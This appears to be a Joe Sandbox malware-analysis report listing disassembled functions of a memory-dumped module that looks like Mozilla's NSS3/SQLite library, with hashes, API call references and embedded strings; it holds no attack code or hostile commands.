Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 95f7b1fb7d77504343567aa4495246b95d830073c9b9098f68b6504618d4c53e
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: AE51F171A51210AFE7608F16CC00B6A77B8EF4375CF25815AEC289BF90E731E805CB92

Function 6CE67CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE640D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE63F7F,?,00000055,?,?,6CE61666,?,?), ref: 6CE640D9
Part of subcall function 6CE640D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE61666,?,?), ref: 6CE640FC
Part of subcall function 6CE640D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE61666,?,?), ref: 6CE64138

PR_GetCurrentThread.NSS3 ref: 6CE67CFD

Part of subcall function 6CF29BF0: TlsGetValue.KERNEL32(?,?,?,6CF70A75), ref: 6CF29C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF89030), ref: 6CE67D1B

Part of subcall function 6CEBFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE61A3E,00000048,00000054), ref: 6CEBFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF89048), ref: 6CE67D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE67D50
PR_GetCurrentThread.NSS3 ref: 6CE67D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE67D7D
free.MOZGLUE(?), ref: 6CE67D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE67DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE67E19

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 7bebbbb44093324ae8d31cfd292b73671093a948a080eb47085f53d84d8bafd0
Instruction ID: ab68d929ce2ea4bb276df60bbc26b6bfc8e2045429c462f6a7765481208b87c8
Opcode Fuzzy Hash: 7bebbbb44093324ae8d31cfd292b73671093a948a080eb47085f53d84d8bafd0
Instruction Fuzzy Hash: E3410772A501199BDB008E6ADC41BAF37F4AF4235CF250428EC15A7F50E734ED15C7A2

Function 6CE77EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE780DD), ref: 6CE77F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE780DD), ref: 6CE77F36
free.MOZGLUE(?,?,?,6CE780DD), ref: 6CE77F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE780DD), ref: 6CE77F5D
DeleteCriticalSection.KERNEL32(?,6CE780DD), ref: 6CE77F94
free.MOZGLUE(?), ref: 6CE77F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE780DD), ref: 6CE77FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE780DD), ref: 6CE77FE6
free.MOZGLUE(?,6CE780DD), ref: 6CE7802D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 926c76d3976d954beee3eaa65fb7fb464bd13574f32814d9034752a30effa899
Instruction ID: e11adcd872a1f9d3fa7f77ea57c7e04ca952f9cda5b1086bbdd73716cfd76a89
Opcode Fuzzy Hash: 926c76d3976d954beee3eaa65fb7fb464bd13574f32814d9034752a30effa899
Instruction Fuzzy Hash: C941F5B1F212004BDB649FB98CC9B4B37B9EB87358F261229E51593B40DB329505CBB1

Function 6CEBFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEBFF00

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CEBFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEBFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CEBFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEBFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEBFF8C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 23b09a563bdd3c2c2893d07590e7cb22f8d8a67fc6224ede247ab19640d7f111
Instruction ID: 95c73ad49f59e390259060f8a352dd67e06da05978e40c8ff4e2e46ec5cf3f29
Opcode Fuzzy Hash: 23b09a563bdd3c2c2893d07590e7cb22f8d8a67fc6224ede247ab19640d7f111
Instruction Fuzzy Hash: B13126FEA017229BE7108E549E42B6B76B8AF4634CF350139ED28A7B40E774D914C7D2

Function 6CDFE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CDFE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDFE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CDFEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDFEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CDFEB57

Strings

unknown column "%s" in foreign key definition, xrefs: 6CDFED18
foreign key on %s should reference only one column of table %T, xrefs: 6CDFEE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CDFEDC2

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 537b6e6f0f033f4d7fe6632797188ad316bd6de8b010bc0165c5db34014f78c7
Instruction ID: 552e2234d5612fa908301f78b82281462aa297a43ca295266d653be39840aa45
Opcode Fuzzy Hash: 537b6e6f0f033f4d7fe6632797188ad316bd6de8b010bc0165c5db34014f78c7
Instruction Fuzzy Hash: 6E029471E05105CFDB04CF59C490AEEB7B2FF89318F1A4169D865ABB61D731A942CBE0

Function 6CE07D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE07E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE07E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CE07EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE07F2E

Strings

%s at line %d of [%.10s], xrefs: 6CE07EE7, 6CE07F28
database corruption, xrefs: 6CE07EE2, 6CE07F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE07ED8, 6CE07F08, 6CE07F19

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 5bfdbb0cd361ab16ba04a724636261d04c85e1672fb761a3799221e8e0885900
Instruction ID: 3f0af09e7e4d94fa4731d7154f157f8bffe6fc4c882daf0f5e1f19706f62f306
Opcode Fuzzy Hash: 5bfdbb0cd361ab16ba04a724636261d04c85e1672fb761a3799221e8e0885900
Instruction Fuzzy Hash: EE61B270B052059FDB05CF65C880BAA77B2BF45308F2445A9EC095BB56D731EC66CBE1

Function 6CE569A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CDECA30: EnterCriticalSection.KERNEL32(?,?,?,6CE4F9C9,?,6CE4F4DA,6CE4F9C9,?,?,6CE1369A), ref: 6CDECA7A
Part of subcall function 6CDECA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDECB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE56A02
EnterCriticalSection.KERNEL32(?), ref: 6CE56AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CE56AF9
sqlite3_free.NSS3(00000000), ref: 6CE56B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CE56BA6

Strings

winDelete, xrefs: 6CE56B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CE56B9F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 48eb56ac8af134b54050a863b23b3550005aba42c8ab4aa654d2135fa04e244b
Instruction ID: fcbd3c79be67fd1ed48d1cad91bed562ea70d9bd61e5e0df5a8af4443fb36712
Opcode Fuzzy Hash: 48eb56ac8af134b54050a863b23b3550005aba42c8ab4aa654d2135fa04e244b
Instruction Fuzzy Hash: 34512335F901049BEF48AB64DC98BBF3B79EF47318B644128E916C7780DB358A15CB92

Function 6CDEFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDEFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDEFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEFE83

Part of subcall function 6CDEFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDEFEFA
Part of subcall function 6CDEFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDEFF3B

Strings

%s at line %d of [%.10s], xrefs: 6CDEFD73, 6CDEFE35
database corruption, xrefs: 6CDEFD6E, 6CDEFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDEFD64, 6CDEFE26

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 1d9039ac6e25c4fc91fc41dc58d994a4fb00e2dea6abeb27f65cb641e9d78d9e
Instruction ID: 4baa97d0adee6feb95137034b23bd6deb65bde080825018a20ace3705b5b8967
Opcode Fuzzy Hash: 1d9039ac6e25c4fc91fc41dc58d994a4fb00e2dea6abeb27f65cb641e9d78d9e
Instruction Fuzzy Hash: 7B516371A00205DFDB04CF99D8D0AAEBBB1EF4C708F144469E905AB766E735ED50CBA0

Function 6CF32F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF32FFD
sqlite3_initialize.NSS3 ref: 6CF33007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF33032
sqlite3_mprintf.NSS3(6CF9AAF9,?), ref: 6CF33073
sqlite3_free.NSS3(?), ref: 6CF330B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF330C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF330BB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e93326c27fa4c30e9aea676672c412e86af2a8b102291e7f30491d04445d326c
Instruction ID: cfc5f8ee2e80fe53719c4f42ee34cfc57148b0681ef44afb0f1f21472305dd2d
Opcode Fuzzy Hash: e93326c27fa4c30e9aea676672c412e86af2a8b102291e7f30491d04445d326c
Instruction Fuzzy Hash: FB41B3B1600616AFDB00CF25D880A8AB7B5FF44368F158629EC2987B50E735F95ACBD1

Function 6CEB5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CEB5F0A
TlsGetValue.KERNEL32 ref: 6CEB5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CEB5F2F
PR_Unlock.NSS3(890008E8), ref: 6CEB5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CEB5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CEB5F7D

Part of subcall function 6CEB5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CEB5F82,8B4274C0), ref: 6CEB5248
Part of subcall function 6CEB5220: EnterCriticalSection.KERNEL32(0F6CF80D,?,6CEB5F82,8B4274C0), ref: 6CEB525C
Part of subcall function 6CEB5220: PR_SetError.NSS3(00000000,00000000), ref: 6CEB528E
Part of subcall function 6CEB5220: PR_Unlock.NSS3(0F6CF7F1), ref: 6CEB5299
Part of subcall function 6CEB5220: free.MOZGLUE(00000000), ref: 6CEB52A9

Strings

q]l, xrefs: 6CEB5EDB, 6CEB5F09

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 5d1fd31ae08f61db1acd02c259e895cc07de606c7486d2f9521350a0a3c5beec
Instruction ID: 9ebd129fe95caaa54319e63e09c9fcd19c2425960f0c42605b983a9a5da4a81b
Opcode Fuzzy Hash: 5d1fd31ae08f61db1acd02c259e895cc07de606c7486d2f9521350a0a3c5beec
Instruction Fuzzy Hash: 6D21B7B1D012049FDB11AF64EC41BEFB7B4EF09318F644029E90AA7741E731A954CBD1

Function 6CE78CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE8124D,00000001), ref: 6CE78D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE8124D,00000001), ref: 6CE78D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE8124D,00000001), ref: 6CE78D73
PR_Unlock.NSS3(?,?,?,?,?,6CE8124D,00000001), ref: 6CE78D8C

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE8124D,00000001), ref: 6CE78DBA

Strings

KRAM, xrefs: 6CE78D3E
KRAM, xrefs: 6CE78CF9

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 24c6ae45a53cc18bf7cf27bf0998375659b6cd25e2f614cea6119f1b3f8e283b
Instruction ID: c20a2132d9b4b8b5183e3475162e3539271566a603973476292487cfbb981b7d
Opcode Fuzzy Hash: 24c6ae45a53cc18bf7cf27bf0998375659b6cd25e2f614cea6119f1b3f8e283b
Instruction Fuzzy Hash: 932192B5A04601CFCB60EF38C58469EBBF4FF55318F25896AD99897701E734E842CBA1

Function 6CE9ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CE9ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE9AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE9AD23

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE9AD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CE9AD1C
C_MessageDecryptFinal, xrefs: 6CE9ACE1
hSession = 0x%x, xrefs: 6CE9ACFE, 6CE9AD0E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: e0a5e26b1dd0a89e826d6836d08b480e956e6e8a73ef0732f32f77f34c8d18f9
Instruction ID: 987f488d7d06ecae6ff6cc001a4468c366c3e194c4020f458d1266f88ddea3d1
Opcode Fuzzy Hash: e0a5e26b1dd0a89e826d6836d08b480e956e6e8a73ef0732f32f77f34c8d18f9
Instruction Fuzzy Hash: 68213770F411049FDB809B64DC88B6B37B4EF4230DF550429E8099B761DB329E09C7A2

Function 6CF70ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF70EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF70EFA

Part of subcall function 6CE5AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE5AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF70F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF70ED9, 6CF70EE5, 6CF70F06, 6CF70F0B
Aborting, xrefs: 6CF70EB3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
